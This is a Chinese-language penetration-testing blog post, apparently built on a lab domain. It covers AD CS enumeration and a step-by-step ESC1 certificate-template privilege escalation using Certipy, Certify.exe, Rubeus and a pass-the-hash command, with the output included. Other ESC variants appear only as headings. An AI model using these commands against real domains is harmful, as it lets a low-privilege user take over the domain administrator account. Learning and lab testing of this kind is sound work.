域渗透学习(Certificate Services篇)

AD CS(Active Directory Certificate Services)它是 Microsoft Windows Server 里的一个角色,用来在企业内部搭建 PKI 公钥基础设施,也就是发放、管理和吊销数字证书,是企业身份与加密信任体系的一部分。但如果配置不当,会带来严重的安全风险。

信息枚举

windows 主要用 Certify.exe
linux 用 Certipy,kali上叫 certipy-ad

域内机器枚举

1
2
3
4
5
6
7
# Windows 自带命令
certutil -config - -ping
certutil -CA

# 第三方工具
Certify.exe cas
Certify.exe find /vulnerable

域外枚举,需要一个域账号密码

1
2
3
4
5
certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -dc-only -stdout
certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -dc-only -ldap-scheme ldap -stdout # LDAPS ssl问题

# 只显示 Certipy 判断为“存在可利用风险 / 漏洞配置”的 AD CS 项目。
certipy-ad find -u qq@xxx.com -p Qwer123 -dc-ip 192.168.100.126 -vulnerable -stdout

刚安装完成的AD CS

证书模板

ESC1 to ESC3, ESC9, ESC10, ESC13, ESC14 and ESC15

ESC1-模板允许SAN

当证书模板允许指定 SAN(Subject Alternative Name,主体备用名称)时,就有可能为另一个用户申请证书。如果该证书的 EKU(扩展密钥用法) 指定了 客户端身份验证(Client Authentication)或 任意用途(ANY),则可能被用于权限提升

certtmpl.msc 打开证书模板控制台,复制一个模板

选择在请求中提供。意思是申请证书的人可以在提交证书请求时,自己指定证书里的 Subject 或 SAN(Subject Alternative Name,主体备用名称),例如 UPN、DNS 名称等

低权限用户具有 注册 权限

该证书模板签发出来的证书可用于客户端身份认证

certsrv.msc 打开证书颁发机构,在证书模板右键点击新建要颁发的证书模板,选择新复制的模板

满足利用条件后 certipy-ad 就能直接识别到 ESC1 了

使用 certipy-ad

1
2
3
4
5
6
7
# 1.申请证书(用普通用户 qq@xxx.com 去申请一个证书,但证书身份里写成了 administrator@xxx.com)
certipy-ad req -u qq@xxx.com -p Qwer123 -target 192.168.100.126 -ca xxx-AA-CA -template 1 -upn administrator@xxx.com

# 2.使用刚才生成的 administrator.pfx 证书进行认证,并请求TGT,获取 NTLM Hash
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126
# 或者直接启动一个 LDAP 交互式 Shell
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.100.126 -ldap-shell

拿到 hash 后就可以进行 pth 等操作了

1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# nxc wmi 192.168.100.126 -u administrator --hash '91ff0fb948167eb4d080b5330686c02f' -x 'whoami'
RPC 192.168.100.126 135 AA [*] Windows 10 / Server 2016 Build 14393 (name:AA) (domain:xxx.com)
WMI 192.168.100.126 135 AA [+] xxx.com\administrator:91ff0fb948167eb4d080b5330686c02f (Pwn3d!)
WMI 192.168.100.126 135 AA [+] Executed command: "whoami" via wmiexec
WMI 192.168.100.126 135 AA xxx\administrator

使用 Certify.exe

1
2
3
4
5
6
7
8
# 1.在普通域用户下,使用 Certify.exe 以 administrator 身份发起证书申请
Certify.exe request /ca:aa.xxx.com\xxx-AA-CA /template:1 /altname:administrator

# 2.将申请的证书复制保存为 .pem,使用 openssl 转为 .pfx,密码为空即可。特别要注意如果使用的OpenSSL版本比较新需要加上 -legacy
openssl pkcs12 -legacy -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# 3.使用 Rubeus 请求域管 administrator 的 TGT 并注入
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt

证书颁发机构

ESC6 and ESC12

访问控制

ESC4, ESC5 & ESC7

未签名端点

ESC8, ESC11

认证


参考文章

ADCS攻击之证书模板配置错误 ESC1
ADCS-ESC1漏洞环境构造与利用


域渗透学习(Certificate Services篇)
https://www.dr0n.top/posts/de6e3c90/
作者
dr0n
发布于
2026年5月23日
更新于
2026年5月26日
许可协议